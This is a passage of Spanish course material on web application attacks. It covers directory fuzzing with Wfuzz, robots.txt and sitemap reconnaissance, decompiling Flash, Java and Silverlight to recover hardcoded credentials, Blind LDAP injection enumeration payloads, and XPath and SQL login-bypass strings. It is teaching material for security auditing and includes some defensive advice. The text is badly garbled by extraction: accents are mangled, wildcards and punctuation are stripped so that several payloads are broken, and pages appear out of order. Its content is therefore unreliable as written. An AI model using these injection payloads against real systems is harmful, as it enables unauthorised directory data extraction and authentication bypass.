Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 40: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

